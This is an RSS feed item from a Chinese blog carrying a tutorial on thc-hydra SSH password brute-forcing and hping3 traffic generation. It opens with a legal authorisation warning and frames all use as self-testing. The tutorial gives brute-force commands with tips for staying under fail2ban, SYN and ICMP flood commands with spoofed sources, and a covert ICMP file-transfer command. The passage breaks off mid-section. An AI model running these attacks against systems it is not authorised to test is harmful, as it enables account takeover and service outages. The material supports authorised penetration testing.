<?xml version="1.0" encoding="utf-8" standalone="yes"?><rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom"><channel><title>安全测试 on Liangweidong's blog</title><link>https://liangweidonggood.github.io/tags/%E5%AE%89%E5%85%A8%E6%B5%8B%E8%AF%95/</link><description>Recent content in 安全测试 on Liangweidong's blog</description><generator>Hugo -- gohugo.io</generator><language>zh-cn</language><lastBuildDate>Thu, 15 Jun 2017 00:00:00 +0800</lastBuildDate><atom:link href="https://liangweidonggood.github.io/tags/%E5%AE%89%E5%85%A8%E6%B5%8B%E8%AF%95/index.xml" rel="self" type="application/rss+xml"/><item><title>Hydra 与 hping3：密码爆破与流量压测工具实战（含完整参数表）</title><link>https://liangweidonggood.github.io/p/hydra-yu-hping3-mi-ma-bopu-yu-liuliang-yace/</link><pubDate>Thu, 15 Jun 2017 00:00:00 +0800</pubDate><guid>https://liangweidonggood.github.io/p/hydra-yu-hping3-mi-ma-bopu-yu-liuliang-yace/</guid><description>&lt;img src="https://liangweidonggood.github.io/p/hydra-yu-hping3-mi-ma-bopu-yu-liuliang-yace/image/cover.jpg" alt="Featured image of post Hydra 与 hping3：密码爆破与流量压测工具实战（含完整参数表）" /&gt;&lt;h2 id="-法律与授权声明"&gt;⚠️ 法律与授权声明
&lt;/h2&gt;&lt;p&gt;本文介绍的 &lt;code&gt;hydra&lt;/code&gt;（密码爆破）和 &lt;code&gt;hping3&lt;/code&gt;（流量压测/DDoS 工具）&lt;strong&gt;只能用于&lt;/strong&gt;：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;自己拥有或明确授权测试&lt;/strong&gt;的服务器&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;渗透测试授权书&lt;/strong&gt;范围内的甲方系统&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;CTF 比赛&lt;/strong&gt;或&lt;strong&gt;靶场&lt;/strong&gt;（HackTheBox、DVWA、VulnHub 等）&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;&lt;strong&gt;未经授权对他人系统使用 = 违法&lt;/strong&gt;。中国《刑法》第 285、286 条「非法侵入计算机信息系统罪」「破坏计算机信息系统罪」可判 3-7 年有期徒刑，&lt;strong&gt;DDos 攻击入罪门槛更低、量刑更重&lt;/strong&gt;。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;任何&amp;quot;我就是想测一下&amp;quot;的侥幸行为都不值得冒刑事风险&lt;/strong&gt;。&lt;/p&gt;
&lt;hr&gt;
&lt;h2 id="背景"&gt;背景
&lt;/h2&gt;&lt;p&gt;做攻防演练、应急排查、做靶场练习，经常需要：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;测试自己服务器 SSH/FTP/RDP 密码强度（&lt;strong&gt;自测&lt;/strong&gt;）&lt;/li&gt;
&lt;li&gt;在压测环境模拟 SYN flood（&lt;strong&gt;自测&lt;/strong&gt;）&lt;/li&gt;
&lt;li&gt;验证 fail2ban / DDoS 防护是否真的能拦得住&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;两个工具都是行业标配&lt;/strong&gt;：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;thc-hydra&lt;/code&gt;：在线密码爆破之王，&lt;strong&gt;支持 50+ 协议&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;hping3&lt;/code&gt;：流量生成神器，&lt;strong&gt;支持 TCP/UDP/ICMP 任意包构造&lt;/strong&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;hr&gt;
&lt;h2 id="一thc-hydra-密码爆破"&gt;一、thc-hydra 密码爆破
&lt;/h2&gt;&lt;h3 id="11-安装"&gt;1.1 安装
&lt;/h3&gt;&lt;h4 id="源码编译推荐自定义模块"&gt;源码编译（推荐，自定义模块）
&lt;/h4&gt;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;
&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt; 1
&lt;/span&gt;&lt;span class="lnt"&gt; 2
&lt;/span&gt;&lt;span class="lnt"&gt; 3
&lt;/span&gt;&lt;span class="lnt"&gt; 4
&lt;/span&gt;&lt;span class="lnt"&gt; 5
&lt;/span&gt;&lt;span class="lnt"&gt; 6
&lt;/span&gt;&lt;span class="lnt"&gt; 7
&lt;/span&gt;&lt;span class="lnt"&gt; 8
&lt;/span&gt;&lt;span class="lnt"&gt; 9
&lt;/span&gt;&lt;span class="lnt"&gt;10
&lt;/span&gt;&lt;span class="lnt"&gt;11
&lt;/span&gt;&lt;span class="lnt"&gt;12
&lt;/span&gt;&lt;span class="lnt"&gt;13
&lt;/span&gt;&lt;span class="lnt"&gt;14
&lt;/span&gt;&lt;span class="lnt"&gt;15
&lt;/span&gt;&lt;span class="lnt"&gt;16
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# 依赖&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;apt install -y libssl-dev libssh-dev libidn11-dev libpcre3-dev &lt;span class="se"&gt;\
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; libgtk2.0-dev libmysqlclient-dev libpq-dev libsvn-dev &lt;span class="se"&gt;\
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; firebird-dev libmemcached-dev libgpg-error-dev libgcrypt11-dev libgcrypt20-dev
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# 源码&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;wget https://github.com/vanhauser-thc/thc-hydra/archive/refs/tags/v9.5.tar.gz
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;tar -zxvf v9.5.tar.gz
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="nb"&gt;cd&lt;/span&gt; thc-hydra-9.5
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;./configure
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;make
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;sudo make install
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;sudo make clean
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# 验证&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;hydra -version
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;h4 id="包管理器安装apt"&gt;包管理器安装（apt）
&lt;/h4&gt;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;
&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;apt install hydra
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;h3 id="12-核心参数表"&gt;1.2 核心参数表
&lt;/h3&gt;&lt;table&gt;
	&lt;thead&gt;
			&lt;tr&gt;
					&lt;th&gt;选项&lt;/th&gt;
					&lt;th&gt;含义&lt;/th&gt;
					&lt;th&gt;示例&lt;/th&gt;
			&lt;/tr&gt;
	&lt;/thead&gt;
	&lt;tbody&gt;
			&lt;tr&gt;
					&lt;td&gt;&lt;code&gt;-l USER&lt;/code&gt;&lt;/td&gt;
					&lt;td&gt;单用户名&lt;/td&gt;
					&lt;td&gt;&lt;code&gt;-l root&lt;/code&gt;&lt;/td&gt;
			&lt;/tr&gt;
			&lt;tr&gt;
					&lt;td&gt;&lt;code&gt;-p PASS&lt;/code&gt;&lt;/td&gt;
					&lt;td&gt;单密码&lt;/td&gt;
					&lt;td&gt;&lt;code&gt;-p 123456&lt;/code&gt;&lt;/td&gt;
			&lt;/tr&gt;
			&lt;tr&gt;
					&lt;td&gt;&lt;code&gt;-C FILE&lt;/code&gt;&lt;/td&gt;
					&lt;td&gt;&lt;code&gt;user:pass&lt;/code&gt; 冒号分隔文件&lt;/td&gt;
					&lt;td&gt;&lt;code&gt;-C creds.txt&lt;/code&gt;&lt;/td&gt;
			&lt;/tr&gt;
			&lt;tr&gt;
					&lt;td&gt;&lt;code&gt;-L FILE&lt;/code&gt;&lt;/td&gt;
					&lt;td&gt;用户名字典&lt;/td&gt;
					&lt;td&gt;&lt;code&gt;-L users.txt&lt;/code&gt;&lt;/td&gt;
			&lt;/tr&gt;
			&lt;tr&gt;
					&lt;td&gt;&lt;code&gt;-P FILE&lt;/code&gt;&lt;/td&gt;
					&lt;td&gt;密码字典&lt;/td&gt;
					&lt;td&gt;&lt;code&gt;-P pass.txt&lt;/code&gt;&lt;/td&gt;
			&lt;/tr&gt;
			&lt;tr&gt;
					&lt;td&gt;&lt;code&gt;-M FILE&lt;/code&gt;&lt;/td&gt;
					&lt;td&gt;目标 IP 列表&lt;/td&gt;
					&lt;td&gt;&lt;code&gt;-M targets.txt&lt;/code&gt;&lt;/td&gt;
			&lt;/tr&gt;
			&lt;tr&gt;
					&lt;td&gt;&lt;code&gt;-e ns&lt;/code&gt;&lt;/td&gt;
					&lt;td&gt;试空密码 + 用户名当密码&lt;/td&gt;
					&lt;td&gt;&lt;code&gt;-e ns&lt;/code&gt;&lt;/td&gt;
			&lt;/tr&gt;
			&lt;tr&gt;
					&lt;td&gt;&lt;code&gt;-s PORT&lt;/code&gt;&lt;/td&gt;
					&lt;td&gt;非默认端口&lt;/td&gt;
					&lt;td&gt;&lt;code&gt;-s 2222&lt;/code&gt;&lt;/td&gt;
			&lt;/tr&gt;
			&lt;tr&gt;
					&lt;td&gt;&lt;code&gt;-t N&lt;/code&gt;&lt;/td&gt;
					&lt;td&gt;并发线程（默认 16）&lt;/td&gt;
					&lt;td&gt;&lt;code&gt;-t 4&lt;/code&gt;&lt;/td&gt;
			&lt;/tr&gt;
			&lt;tr&gt;
					&lt;td&gt;&lt;code&gt;-vV&lt;/code&gt;&lt;/td&gt;
					&lt;td&gt;显示详细尝试&lt;/td&gt;
					&lt;td&gt;&lt;code&gt;-vV&lt;/code&gt;&lt;/td&gt;
			&lt;/tr&gt;
			&lt;tr&gt;
					&lt;td&gt;&lt;code&gt;-o FILE&lt;/code&gt;&lt;/td&gt;
					&lt;td&gt;结果输出文件&lt;/td&gt;
					&lt;td&gt;&lt;code&gt;-o result.txt&lt;/code&gt;&lt;/td&gt;
			&lt;/tr&gt;
			&lt;tr&gt;
					&lt;td&gt;&lt;code&gt;-b json&lt;/code&gt;&lt;/td&gt;
					&lt;td&gt;输出格式（text/jsonv1/json）&lt;/td&gt;
					&lt;td&gt;&lt;code&gt;-b json&lt;/code&gt;&lt;/td&gt;
			&lt;/tr&gt;
			&lt;tr&gt;
					&lt;td&gt;&lt;code&gt;-R&lt;/code&gt;&lt;/td&gt;
					&lt;td&gt;恢复之前的会话&lt;/td&gt;
					&lt;td&gt;&lt;code&gt;-R&lt;/code&gt;&lt;/td&gt;
			&lt;/tr&gt;
			&lt;tr&gt;
					&lt;td&gt;&lt;code&gt;-I&lt;/code&gt;&lt;/td&gt;
					&lt;td&gt;忽略恢复文件（不等待 10s）&lt;/td&gt;
					&lt;td&gt;&lt;code&gt;-I&lt;/code&gt;&lt;/td&gt;
			&lt;/tr&gt;
			&lt;tr&gt;
					&lt;td&gt;&lt;code&gt;-S&lt;/code&gt;&lt;/td&gt;
					&lt;td&gt;SSL 连接&lt;/td&gt;
					&lt;td&gt;&lt;code&gt;-S&lt;/code&gt;&lt;/td&gt;
			&lt;/tr&gt;
			&lt;tr&gt;
					&lt;td&gt;&lt;code&gt;-f&lt;/code&gt;&lt;/td&gt;
					&lt;td&gt;找到一对就停&lt;/td&gt;
					&lt;td&gt;&lt;code&gt;-f&lt;/code&gt;&lt;/td&gt;
			&lt;/tr&gt;
			&lt;tr&gt;
					&lt;td&gt;&lt;code&gt;-W N&lt;/code&gt;&lt;/td&gt;
					&lt;td&gt;最大超时秒数（默认 30）&lt;/td&gt;
					&lt;td&gt;&lt;code&gt;-W 60&lt;/code&gt;&lt;/td&gt;
			&lt;/tr&gt;
			&lt;tr&gt;
					&lt;td&gt;&lt;code&gt;-q&lt;/code&gt;&lt;/td&gt;
					&lt;td&gt;静默（不打印错误）&lt;/td&gt;
					&lt;td&gt;&lt;code&gt;-q&lt;/code&gt;&lt;/td&gt;
			&lt;/tr&gt;
	&lt;/tbody&gt;
&lt;/table&gt;
&lt;h3 id="13-实战爆破-ssh"&gt;1.3 实战：爆破 SSH
&lt;/h3&gt;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;
&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1
&lt;/span&gt;&lt;span class="lnt"&gt;2
&lt;/span&gt;&lt;span class="lnt"&gt;3
&lt;/span&gt;&lt;span class="lnt"&gt;4
&lt;/span&gt;&lt;span class="lnt"&gt;5
&lt;/span&gt;&lt;span class="lnt"&gt;6
&lt;/span&gt;&lt;span class="lnt"&gt;7
&lt;/span&gt;&lt;span class="lnt"&gt;8
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# 自测：3 线程 + 详细日志 + 用户名当密码 + 空密码&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;hydra -l root -P password.txt -t &lt;span class="m"&gt;3&lt;/span&gt; -vV -e ns 192.168.1.100 ssh
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# 自测：用户名字典 + 密码字典 + 多协议同时跑&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;hydra -L users.txt -P pass.txt -t &lt;span class="m"&gt;8&lt;/span&gt; -f 192.168.1.100 ssh
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# 自测：批量 IP + 输出 JSON&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;hydra -l admin -P pass.txt -t &lt;span class="m"&gt;16&lt;/span&gt; -M targets.txt -b json -o result.json ssh
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;p&gt;&lt;strong&gt;字典文件&lt;/strong&gt;（&lt;code&gt;password.txt&lt;/code&gt;）示例：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;
&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1
&lt;/span&gt;&lt;span class="lnt"&gt;2
&lt;/span&gt;&lt;span class="lnt"&gt;3
&lt;/span&gt;&lt;span class="lnt"&gt;4
&lt;/span&gt;&lt;span class="lnt"&gt;5
&lt;/span&gt;&lt;span class="lnt"&gt;6
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-fallback" data-lang="fallback"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;123456
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;admin
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;password
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;root
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;qwerty
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;1q2w3e4r
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;p&gt;&lt;strong&gt;性能调优&lt;/strong&gt;：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;SSH 单机并发建议 ≤ 4（高了反而被 fail2ban 拦）&lt;/li&gt;
&lt;li&gt;FTP/RDP 可以提到 16-32&lt;/li&gt;
&lt;li&gt;加 &lt;code&gt;-W 60&lt;/code&gt; 给老机器更宽的超时&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id="14-50-支持协议"&gt;1.4 50+ 支持协议
&lt;/h3&gt;&lt;p&gt;&lt;code&gt;hydra -U&lt;/code&gt; 看每个模块的参数，常用：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;
&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1
&lt;/span&gt;&lt;span class="lnt"&gt;2
&lt;/span&gt;&lt;span class="lnt"&gt;3
&lt;/span&gt;&lt;span class="lnt"&gt;4
&lt;/span&gt;&lt;span class="lnt"&gt;5
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-gdscript3" data-lang="gdscript3"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="n"&gt;adam6500&lt;/span&gt; &lt;span class="n"&gt;asterisk&lt;/span&gt; &lt;span class="n"&gt;cisco&lt;/span&gt; &lt;span class="n"&gt;cisco&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;enable&lt;/span&gt; &lt;span class="n"&gt;cvs&lt;/span&gt; &lt;span class="n"&gt;ftp&lt;/span&gt; &lt;span class="n"&gt;ftps&lt;/span&gt; &lt;span class="n"&gt;http&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;s&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="n"&gt;head&lt;/span&gt;&lt;span class="o"&gt;|&lt;/span&gt;&lt;span class="n"&gt;get&lt;/span&gt;&lt;span class="o"&gt;|&lt;/span&gt;&lt;span class="n"&gt;post&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt; 
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="n"&gt;imap&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;s&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="n"&gt;irc&lt;/span&gt; &lt;span class="n"&gt;ldap2&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;s&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="n"&gt;ldap3&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="n"&gt;cram&lt;/span&gt;&lt;span class="o"&gt;|&lt;/span&gt;&lt;span class="n"&gt;digest&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="n"&gt;md5&lt;/span&gt;&lt;span class="p"&gt;][&lt;/span&gt;&lt;span class="n"&gt;s&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="n"&gt;mongodb&lt;/span&gt; &lt;span class="n"&gt;mssql&lt;/span&gt; &lt;span class="n"&gt;mysql&lt;/span&gt; 
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="n"&gt;ncp&lt;/span&gt; &lt;span class="n"&gt;nntp&lt;/span&gt; &lt;span class="n"&gt;oracle&lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="n"&gt;listener&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;sid&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt; &lt;span class="n"&gt;pcanywhere&lt;/span&gt; &lt;span class="n"&gt;pcnfs&lt;/span&gt; &lt;span class="n"&gt;pop3&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;s&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="n"&gt;postgres&lt;/span&gt; &lt;span class="n"&gt;rdp&lt;/span&gt; 
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="n"&gt;redis&lt;/span&gt; &lt;span class="n"&gt;rexec&lt;/span&gt; &lt;span class="n"&gt;rlogin&lt;/span&gt; &lt;span class="n"&gt;rsh&lt;/span&gt; &lt;span class="n"&gt;rtsp&lt;/span&gt; &lt;span class="n"&gt;s7&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mi"&gt;300&lt;/span&gt; &lt;span class="n"&gt;sap&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;r3&lt;/span&gt; &lt;span class="n"&gt;sip&lt;/span&gt; &lt;span class="n"&gt;smb&lt;/span&gt; &lt;span class="n"&gt;smtp&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;s&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="n"&gt;smtp&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="k"&gt;enum&lt;/span&gt; 
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="n"&gt;snmp&lt;/span&gt; &lt;span class="n"&gt;socks5&lt;/span&gt; &lt;span class="n"&gt;ssh&lt;/span&gt; &lt;span class="n"&gt;sshkey&lt;/span&gt; &lt;span class="n"&gt;svn&lt;/span&gt; &lt;span class="n"&gt;teamspeak&lt;/span&gt; &lt;span class="n"&gt;telnet&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;s&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="n"&gt;vmauthd&lt;/span&gt; &lt;span class="n"&gt;vnc&lt;/span&gt; &lt;span class="n"&gt;xmpp&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;hr&gt;
&lt;h2 id="二hping3-流量生成与压测"&gt;二、hping3 流量生成与压测
&lt;/h2&gt;&lt;h3 id="21-安装"&gt;2.1 安装
&lt;/h3&gt;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;
&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1
&lt;/span&gt;&lt;span class="lnt"&gt;2
&lt;/span&gt;&lt;span class="lnt"&gt;3
&lt;/span&gt;&lt;span class="lnt"&gt;4
&lt;/span&gt;&lt;span class="lnt"&gt;5
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# Ubuntu/Debian&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;apt install hping3
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# CentOS&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;yum install hping3
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;h3 id="22-核心功能"&gt;2.2 核心功能
&lt;/h3&gt;&lt;table&gt;
	&lt;thead&gt;
			&lt;tr&gt;
					&lt;th&gt;模式&lt;/th&gt;
					&lt;th&gt;命令示例&lt;/th&gt;
					&lt;th&gt;用途&lt;/th&gt;
			&lt;/tr&gt;
	&lt;/thead&gt;
	&lt;tbody&gt;
			&lt;tr&gt;
					&lt;td&gt;TCP SYN 扫描&lt;/td&gt;
					&lt;td&gt;&lt;code&gt;hping3 -S -p 80 1.2.3.4&lt;/code&gt;&lt;/td&gt;
					&lt;td&gt;端口扫描&lt;/td&gt;
			&lt;/tr&gt;
			&lt;tr&gt;
					&lt;td&gt;TCP ACK 扫描&lt;/td&gt;
					&lt;td&gt;&lt;code&gt;hping3 -A -p 80 1.2.3.4&lt;/code&gt;&lt;/td&gt;
					&lt;td&gt;防火墙规则探测&lt;/td&gt;
			&lt;/tr&gt;
			&lt;tr&gt;
					&lt;td&gt;UDP 探测&lt;/td&gt;
					&lt;td&gt;&lt;code&gt;hping3 --udp -p 53 1.2.3.4&lt;/code&gt;&lt;/td&gt;
					&lt;td&gt;DNS/NTP 等 UDP 服务&lt;/td&gt;
			&lt;/tr&gt;
			&lt;tr&gt;
					&lt;td&gt;ICMP 洪水&lt;/td&gt;
					&lt;td&gt;&lt;code&gt;hping3 --icmp --flood 1.2.3.4&lt;/code&gt;&lt;/td&gt;
					&lt;td&gt;ICMP 压测&lt;/td&gt;
			&lt;/tr&gt;
			&lt;tr&gt;
					&lt;td&gt;SYN 洪水&lt;/td&gt;
					&lt;td&gt;&lt;code&gt;hping3 -S --flood --rand-source 1.2.3.4&lt;/code&gt;&lt;/td&gt;
					&lt;td&gt;DoS 模拟（&lt;strong&gt;仅授权&lt;/strong&gt;）&lt;/td&gt;
			&lt;/tr&gt;
			&lt;tr&gt;
					&lt;td&gt;文件传输&lt;/td&gt;
					&lt;td&gt;&lt;code&gt;hping3 1.2.3.4 --listen --safe --icmp -d 100 -sign 1234 &amp;lt; file&lt;/code&gt;&lt;/td&gt;
					&lt;td&gt;隐蔽传文件&lt;/td&gt;
			&lt;/tr&gt;
			&lt;tr&gt;
					&lt;td&gt;Traceroute&lt;/td&gt;
					&lt;td&gt;&lt;code&gt;hping3 --traceroute -V -1 1.2.3.4&lt;/code&gt;&lt;/td&gt;
					&lt;td&gt;自定义协议路由追踪&lt;/td&gt;
			&lt;/tr&gt;
	&lt;/tbody&gt;
&lt;/table&gt;
&lt;h3 id="23-实战syn-洪水自测用"&gt;2.3 实战：SYN 洪水（自测用）
&lt;/h3&gt;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;
&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;hping3 -c &lt;span class="m"&gt;100000&lt;/span&gt; -d &lt;span class="m"&gt;120&lt;/span&gt; -S -w &lt;span class="m"&gt;64&lt;/span&gt; -p &lt;span class="m"&gt;22&lt;/span&gt; --flood --rand-source 192.168.1.100
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;p&gt;参数解释：&lt;/p&gt;
